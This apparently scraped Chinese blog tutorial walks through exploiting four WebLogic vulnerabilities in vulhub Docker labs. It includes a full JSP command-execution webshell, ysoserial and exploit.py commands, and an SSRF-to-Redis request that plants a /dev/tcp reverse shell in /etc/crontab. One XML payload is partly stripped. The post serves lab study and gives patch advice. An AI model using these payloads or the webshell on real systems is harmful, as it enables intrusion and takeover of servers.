栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

中间件漏洞 -- Weblogic

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

中间件漏洞 -- Weblogic

中间件漏洞记录--6

目录

一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

1、环境搭建

2、访问

3、手工检验利用漏洞

访问 http://ip:7001/wls-wsat/CoordinatorPortType">1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType

抓一个上面那个包,并改成POST传参">2> 抓一个上面那个包,并改成POST传参

利用POST传参,构造XML 反弹shell 代码">3> 利用POST传参,构造XML 反弹shell 代码

提前监听,getshell">4> 提前监听,getshell

还可以写入文件">5> 还可以写入文件

4、用工具

修复建议

二、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1、环境搭建

2、访问 http://ip:7001/console,会跳转至登陆页面

3、执行 docker-compose logs | grep password

4、登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

5、修改工作目录

增加,然后上传webshell">6、然后点击安全 -> 增加,然后上传webshell

7、然后F12,搜 tc_background,有一个时间戳

8、然后访问,成功执行

​ 9、木马在此

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1、环境搭建

2、访问 /console,搭建成功

3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server

4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包

5、查看,命令执行成功

四、Weblogic SSRF漏洞

1、环境搭建

2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞

3、填写任意信息,search抓包

4、探测内网

5、注入HTTP头,利用Redis反弹shell

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)">1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

发送三条redis命令,将弹shell脚本写入/etc/crontab">2> 发送三条redis命令,将弹shell脚本写入/etc/crontab

提前监听,getshell">3> 提前监听,getshell

修复建议


一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

2、访问

出现这个404,就说明搭建成功

3、手工检验利用漏洞

1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType

出现如下页,则可能存在此漏洞

默认存在漏洞的url

/wls-wsat/CoordinatorPortType 
/wls-wsat/RegistrationPortTypeRPC 
/wls-wsat/ParticipantPortType 
/wls-wsat/RegistrationRequesterPortType 
/wls-wsat/CoordinatorPortType11 
/wls-wsat/RegistrationPortTypeRPC11 
/wls-wsat/ParticipantPortType11 
/wls-wsat/RegistrationRequesterPortType11

2> 抓一个上面那个包,并改成POST传参

3> 利用POST传参,构造XML 反弹shell 代码

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.129.129:7001
Accept-Encoding: gzip, deflate
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638


    
    
    
     
    servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp
    
    
    ]]>
    
    
    
    
    
    
    

4、用工具

直接可以检测,命令执行,上传

修复建议

  • 安装补丁。
  • 删除wls-wsat组件,再次访问返回404.

二、Weblogic 任意文件上传漏洞(CVE-2018-2894) 1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d

2、访问 http://ip:7001/console,会跳转至登陆页面

3、执行 docker-compose logs | grep password

可以查看到用户名密码 weblogic Hzxon4k3

4、登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

然后保存

5、修改工作目录

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

6、然后点击安全 -> 增加,然后上传webshell

 

7、然后F12,搜 tc_background,有一个时间戳

8、然后访问,成功执行
http://192.168.129.129:7001/ws_utc/css/config/keystore/1637242302425_shell.jsp
http://ip:7001/ws_utc/css/config/keystore/时间戳_上传的文件名

 9、木马在此
<%@ page import="java.util.*,java.io.*"%>
<%
%>

Commands with JSP
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases

expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d

2、访问 /console,搭建成功

3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener 1234 Jdk7u21 "touch /tmp/hello" 
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener [攻击机监听端口] jdk版本编号 "要执行的命令"

4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包
python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient

5、查看,命令执行成功

来到部署环境的靶机的那个目录下,执行 docker-compose exec weblogic bash

查看目录,命令执行成功,成功创建

四、Weblogic SSRF漏洞 1、环境搭建

docker + vulhub

cd vulhub/weblogic/ssrf
docker-compose up -d

2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞

3、填写任意信息,search抓包

并将其改为get类型

4、探测内网

参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code

若端口未开放,则会返回 but could not connect over HTTP to server

通过 返回数据包 中的错误信息,即可探测内网状态。

5、注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)
docker ps -a
docker inspect redis的id值

最下面可以看到ip

探测是否开放

出现右边这句话,说明6379开放

2> 发送三条redis命令,将弹shell脚本写入/etc/crontab
set 1 "nnnn0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/端口 0>&1'nnnn"
config set dir /etc/
config set dbfilename crontab
save

将其进行url编码,加在6379后面,发包

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.27.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.129.226%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=abcd&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.129.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://192.168.129.129:7001
Connection: close
Referer: http://192.168.129.129:7001/uddiexplorer/SearchPublicRegistries.jsp
cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIonID=HB0dhXTP4WZ1VGP9qGRkvYq25f0TnhZQPQ2Fy4hqc1JYhz8dnqzd!1867720999
Upgrade-Insecure-Requests: 1

3> 提前监听,getshell

修复建议

删除SearchPublicRegistries.jsp文件

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/572446.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号